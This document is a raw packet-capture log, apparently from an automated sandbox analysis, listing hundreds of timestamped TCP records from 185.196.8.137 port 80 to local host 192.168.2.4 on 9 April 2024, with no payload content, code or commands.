Apr 9, 2024 14:54:07.413733006 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413752079 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413772106 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413790941 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413810968 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413830042 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413847923 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413867950 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413886070 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413904905 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413925886 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413947105 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413965940 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413985014 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414004087 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414024115 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414042950 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414061069 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414078951 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414098978 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414118052 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414136887 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414155960 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414175987 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414195061 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414215088 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414233923 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414252996 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414272070 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414290905 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414309978 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414329052 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414347887 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414367914 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414386988 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414406061 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414424896 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414444923 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414463997 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414483070 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414503098 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414522886 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414541006 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414560080 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414580107 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414598942 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414618015 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414637089 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414657116 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414675951 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414695978 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414715052 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414732933 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414752960 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414772034 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414791107 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414849043 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414869070 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414921999 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414942980 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414962053 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414980888 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.414999962 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415066957 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415086985 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415106058 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415126085 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415148020 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415168047 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415186882 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415206909 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415225983 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415245056 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415283918 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415303946 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415323019 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415343046 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415363073 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415383101 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415401936 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415421009 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415438890 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415458918 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415478945 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415498018 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415517092 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415535927 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415555954 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415570021 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415584087 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415597916 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415611982 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415626049 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415640116 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415654898 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415669918 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415683985 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415698051 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415713072 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415726900 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415740967 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415786982 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415802002 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415817022 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415831089 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415847063 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415878057 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415893078 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415906906 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415935993 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415951014 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415966034 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415981054 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.415994883 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.416009903 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.416024923 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.416064024 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.416079044 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.416093111 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.416696072 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.416712046 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.416726112 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.416739941 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.416789055 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.416804075 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.416848898 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.416863918 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.416944981 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.416959047 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.416974068 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.416987896 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417001963 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417016029 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417031050 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417045116 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417059898 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417074919 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417088985 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417104006 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417125940 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417140961 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417155027 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417170048 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417207956 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417222023 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417237997 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417253017 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417267084 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417282104 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417295933 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417376041 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417391062 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417404890 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417418957 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417433023 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417447090 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417581081 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417651892 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417666912 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417715073 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417730093 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417743921 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417758942 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417773008 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417788029 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417804003 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417835951 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417850971 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417865992 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417889118 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417905092 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417920113 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417933941 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.417969942 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.418009996 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.418025017 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.418040037 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.418054104 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.418068886 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.418083906 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.418097973 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.418111086 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.418124914 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.418138981 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.418153048 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.418168068 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.418221951 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.419002056 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.420329094 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.420509100 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.420523882 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.420752048 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.420994043 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.421009064 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.421024084 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.421039104 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.421052933 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.421278954 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.421293974 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.421535015 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.421550035 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.421565056 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.421597004 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.421639919 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.421654940 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.421669006 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.421684980 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.421700001 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.421746016 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.421761990 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.421777010 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.421791077 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.421804905 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.421818972 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.421833038 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.421847105 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.421860933 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.421875000 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.421889067 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.421902895 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.421967030 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.421982050 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.421997070 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.422013044 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.422027111 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.422040939 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.422056913 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.422070980 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.422086000 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.422101021 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.422115088 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.422127962 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.422142982 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.422157049 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.422205925 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.422221899 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.422236919 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.422250986 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.422269106 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.422283888 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.422298908 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.422312021 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.422326088 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.422339916 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.422360897 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.422374964 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.422389030 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.422403097 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.422418118 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.422430992 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.422446012 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.422460079 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.422473907 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.425157070 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.429646015 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.430188894 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.430212021 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.430279016 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.430375099 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.430397987 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.430461884 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.430555105 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.430577993 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.430701971 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.430802107 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.433275938 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.433299065 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.433418989 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.433440924 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.433546066 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.433592081 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.433693886 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.433717012 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.433737993 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.434022903 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.434154987 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.434235096 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.434257030 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.434381008 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.434472084 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.434526920 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.434576988 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.434633017 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.434669018 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.434766054 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.434811115 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.434855938 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.434879065 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.435050964 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.435097933 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.435144901 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.435199022 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.435338020 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.435359955 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.435481071 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.435513973 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.435544968 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.435725927 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.435978889 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.436062098 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.436094046 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.436125040 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.436156988 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.436266899 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.436299086 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.436330080 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.436362028 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.436758041 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.436789036 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.436820030 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.436851025 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.436960936 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.437401056 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.437433958 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.437669039 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.437700987 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.437783003 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.437814951 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.437848091 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.437879086 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.437951088 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.437983036 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.438014984 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.438081980 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.438113928 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.438146114 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.438178062 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.438210011 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.438263893 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.438296080 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.438350916 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.438395023 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.438448906 CEST	80	49744	185.196.8.137	192.168.2.4
